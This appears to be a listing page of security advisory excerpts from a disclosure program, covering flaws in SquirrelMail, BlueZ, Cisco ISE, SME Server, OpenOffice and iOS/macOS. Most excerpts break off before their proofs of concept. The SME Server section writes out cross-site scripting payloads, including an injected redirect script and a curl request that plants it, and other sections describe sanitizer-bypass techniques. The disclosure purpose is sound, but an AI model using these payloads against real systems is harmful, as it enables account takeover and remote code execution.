The HTML sanitizer uses a blacklist approach based on tag and attributes names to recognize potentially dangerous HTML code and decide how to fix it, for example, attributes starting with on are removed as they usually represent events. In particular, the <script> element is deleted and the href attribute can only assume certain schemes (e.g., not javascript:) otherwise it is replaced with a void image URL.
It is possible to bypass these checks by using the SVG counterpart of the <a> and <script> elements. This variant exposes the href attribute as part of the xlink namespace (for the latter it allows to specify the resource containing the script code) therefore it can be accessed with xlink:href which is ignored by SquirrelMail. Moreover, in this context <script> can be self-closing and the lack of closing tag is enough to deceive the sanitizer.
Two methods have been devised, to maximize the chances of success it may be advisable to employ both.
An independent security researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.
Affected versions
SquirrelMail version 1.4.23 (SM-1_4-STABLE @ r14746)
SquirrelMail version 1.5.2 (trunk @ r14747)

No user action required
This solution only works with Firefox and Edge [1] and requires no additional interaction from of the user:


SSD Advisory – Linux BlueZ Information Leak and Heap Overflow

(This advisory follows up on a presentation provided during our offensive security event in 2018 in Hong Kong – come join us at TyphoonCon –  June 2019 in Seoul for more offensive security lectures and training)
Vulnerabilities Summary
The following advisory discuss about two vulnerabilities found in Linux BlueZ bluetooth module.
One of the core ideas behind Bluetooth is allowing interoperability
between a wide range of devices from different manufacturers. This is one
of the reasons that the Bluetooth specification is extremely long and complex.
Detailed descriptions of a wide range of protocols that support all common use-cases ensure that different Bluetooth implementations can work together. However, from an attackers point of view this also means that there is a lot of unneeded complexity in the Bluetooth stack which provides a large attack surface. Due to the modular nature of Bluetooth, some critical features such as packet fragmentation are found redundantly in multiple protocols that are part of the Bluetooth core specification. This makes correct implementation very complicated and increases the likelihood of security issues.
Vendor Response
We have contacted the Bluez maintainer on 23/8/2018 and sent a report describing the two vulnerabilities. The vendor responded “I got the message and was able to decrypt it, but frankly I don’t know when I get to look at it at confirm the issue.”. We have sent few more emails to the vendor since the first report and also proposed patches for the vulnerabilities but no fix has been issued until the day of writing this post. Proposed patches have been provided by, Luiz Augusto von Dentz, at the bottom of this advisory.
An independent security researcher, Julian Rauchberger, has reported this vulnerability to SSD Secure Disclosure program.

Affected systems
Linux systems with BlueZ module with versions 5.17-5.48 (latest at the time of writing this advisory)
Vulnerability Details
To support the huge range of potential use cases for Bluetooth, the specification describes many different protocols. For the vulnerabilities detailed in this advisory, we will focus on two core protocols: L2CAP and SDP.
Simply speaking, L2CAP can be seen as the TCP layer of Bluetooth. It is
responsible for implementing low-level features such as multiplexing and
flow control. What would be called a “port” in TCP is the “Protocol/Service
Multiplexer” (PSM) value in L2CAP. Authentication and Authorization is
generally handled on higher layers, meaning that an attacker can open a
L2CAP connection to any PSM they want and send whatever crafted packets
they wish. From a technical point of view, BlueZ implements L2CAP inside
the kernel as a module.
SDP is the Service Discovery Protocol. It is implemented above L2CAP as a
“service” running on PSM 0x0001. Since the PSM is only a 16-bit number, it is not possible to assign a unique PSM to every Bluetooth service imaginable. SDP can translate globally unique UUIDs to a dynamic PSM used on a specific device.
For instance, a vendor specific service has the same UUID on all devices but
might run on PSM 0x0123 on device A and PSM 0x0456 on device B. It is the job of SDP to provide this information to devices that wish to connect to the service.
* Device A opens a L2CAP connection to PSM 0x0001 (SDP) on device B
* Device A asks “what is the PSM for the service with UUID 0x12345678?”
* Device B responds with “PSM 0x1337”
* Device A opens an L2CAP connection to PSM 0x1337
SDP is also used to advertise all the Bluetooth Profiles (services/features) a
device supports. It can be queried to send a list of all services running
on the device as well as their attributes (mostly simple key/value pairs).
The SDP protocol is implemented in a userspace daemon by BlueZ. Since it
requires high privileges, this daemon normally runs as root, meaning
vulnerabilities should result in full system compromise in most cases.
PoC’s and Testing Environment
The PoC’s attached at the end of this advisory have been tested against
BlueZ 5.48 (the newest version at the time of writing), BlueZ 5.17 (a very old version from 2014), as well as a few in between.
The PoC’s have been written for Python 2.7 and have two dependencies, please install them first:
* pybluez (to send Bluetooth packets)
* pwntools (for easier crafting of packets and hexdump())
run them with:
(where XX:XX:XX:XX:XX:XX is the Bluetooth MAC address of the victim device)
Please ensure that the Bluetooth is activated and the device is discoverable (called “visible” in most of the GUIs)
It might be necessary to update the SERVICE_REC_HANDLE and/or SERVICE_ATTR_ID to get the PoC’s to work. These values can differ between devices. They are advertised by SDP so it could be automated to find them but we didn’t implemented that. Detailed information is inside the comments of the PoC’s.
Vulnerability 1: SDP infoleak
Note: All line numbers and filenames referenced here were taken from BlueZ 5.48 which is the newest version at the time of writing.
The vulnerability lies in the handling of a SVC_ATTR_REQ by the SDP implementation of BlueZ. By crafting a malicious CSTATE, it is possible to trick the server into returning more bytes than the buffer actually holds, resulting in leaking arbitrary heap data.
This vulnerability demonstrates very well issues arising due to the
aforementioned complexity caused by the redundant implementation of some features in multiple protocols.
Even though L2CAP already provides sufficient fragmentation features, SDP
defines its own. However, incorrect implementation in BlueZ leads to a
significant information leak.
One of the features of SDP is to provide the values of custom attributes a
service might have. The client sends the ID of an attribute and SDP responds with the corresponding value.
If the response to an attribute request is too large to fit within a single
SDP packet, a “Continuation State” (cstate) is created.
Here is how it should work in theory:


SSD Advisory – Cisco ISE Unauthenticated XSS to Privileged RCE

Vulnerabilities Summary
Cisco Identity Services Engine (ISE) contains three vulnerabilities that when exploited allow an unauthenticated attacker to achieve root privileges and execute code remotely. The first is a Stored Cross Site Scripting file upload vulnerability that allows the attacker to upload and execute html pages on victims browser. The second is an already known vulnerability Unsafe Flex AMF Java Object Deserialization CVE-2017-5641 which we used in this exploit. The third is a Privilege Escalation via Incorrect sudo File Permissions that let local attackers run code as root.
Vendor Response
“I would like to inform you that we have assigned the CVE-ID, CVE-2018-15440 for the reported XSS vulnerability.The security advisory will be accessible after the publication date (Jan,9th 2019) at the following URL:”
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Affected systems
Cisco Identity Services Engine version 2.4.0
Vulnerability Details
First Vulnerability: Stored Cross Site Scripting
Attack Vector: Remote
The LiveLogSettingsServlet, available at /admin/LiveLogSettingsServlet, contains a stored cross site scripting vulnerability. The doGet() HTTP request handler takes in an Action parameter as a HTTP query variable, which can be “read” or “write”.
With the “write” parameter, it calls the writeLiveLogSettings() function which then takes several query string variables, such as Columns, Rows, Refresh_rate and Time_period. The content of these query string variables is then written to /opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt, and the server responds with a 200 OK.
These parameters are not validated, and can contain any text. When the Action parameter equals “read”, the servlet will read the /opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt file and display it back to the user with the Content-Type “text/html”, causing whatever was written to that file to be rendered and executed by the browser. To mount a simple attack, we can send the following request:


SSD Advisory – SME Server Unauthenticated XSS To Privileged Remote Code Execution

Vulnerabilities Summary
The following advisory describes a vulnerability in SME Server 9.2, which lets an unauthenticated attackers perform XSS attack that leads to remote code execution as root. SME Server is a Linux distribution for small and medium enterprises by Koozali foundation.
An independent security researcher, Karn Ganeshen has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected systems
SME Server 9.2
Vendor Response
Fixed in phpki-0.82-17.el6.sme, phpki-0.82-18.el6.sme, phpki-0.82-19.el6.sme
Vulnerability Details
Software for the SME Server is packaged using RPM Package Manager (RPM) system. Existing packages from CentOS and other third-party developers are used. The SME Server uses packages from the open source community. Packages are called as contribs. Each contrib adds a specific functionality to the SME server  deployment. Once a contrib is installed, the corresponding Menu or web panel is added to the SME HTTP management portal. The default admin user has access to all contrib Menus. admin can create a new user and assign access of specific web panels (functionality) to the user. The user can, then, view, access and administer only those specific web panels.
The vulnerable components are the “Certificate Management” & “Advanced Web Statistics”, Which are vulnerable to Cross-Site Scripting & Cross-Site Request Forgery.
For the next demonstration , the Attackers IP is and the SME Server IP
The exploitation starts with the contrib – PHPKI – smeserver-phpki. This contrib provides a Certificate Management functionality. The administrator adds new certificates, which the users can download and set up in their browsers. The Certificate Management portal is accessible at https://<SME Server IP>/phpki/.
It should look like this:

All users can access this without any authentication. The portal provides a Search function where a user can search for existing certificates.
1) Reflected XSS [Pre-Auth]”><script>alert(“xss-phpki”)</script> . We can now see that this component is vulnerable to XSS.

Now lets arm the payload: We will inject the following payload: “><script>document.location=””</script>
Issue the following request: curl ‘”><script>document.location=””</script>’ –insecure This payload is injected in the back-end (Stored-XSS) and used by another contrib, Awstats.
2) Start a web server on Attacker IP to serve our evil form – ssd.html


SSD Advisory – Apache OpenOffice Virtual Table Corruption

Vulnerabilities Summary
The following advisory discusses a vulnerability found in Apache OpenOffice. The vulnerability lays inside the part that responsible for parsing documents, which contains has an overflow that let attackers take control over program execution.
Vendor Response
“We obtained a CVE number for the vulnerability you reported: CVE-2018-11790.
The release will need to undergo a community vote and it is thus not completely predictable. But, based on experience from recent releases, at the stage we are in it normally takes one month before the release is made public.”
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Affected systems
Apache OpenOffice for Windows before version 4.1.6
Vulnerability Details
The vulnerability is in the HTML files processing. When opening a document, OpenOffice does its best to perform format sniffing. It tries to identify format based on the document contents and not on filename extension. Knowing this, attacker can send a victim specially crafted document with any extension, for example, “odt”, “rtf” or “docx”.
When the following Document is opened by OpenOffice, an overflow occurs which let us override RIP and the Structured Exception Handler(SEH).


SSD Advisory – iOS/macOS Kernel task_inspect Information Leak

Vulnerabilities Summary
The following advisory discusses a bug found in the kernel function task_inspect which a local user may exploit in order to read kernel memory due to an uninitialized variable.
Vendor Response
Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation
Impact: A local user may be able to read kernel memory
Description: A memory initialization issue was addressed with improved memory handling.
CVE-2018-4431: An independent security researcher has reported this vulnerability to
Beyond Security’s SecuriTeam Secure Disclosure program
Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.1
Impact: A local user may be able to read kernel memory
Description: A memory initialization issue was addressed with
improved memory handling.
CVE-2018-4431: An independent security researcher has reported this
vulnerability to Beyond Security’s SecuriTeam Secure Disclosure
An independent Security Researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.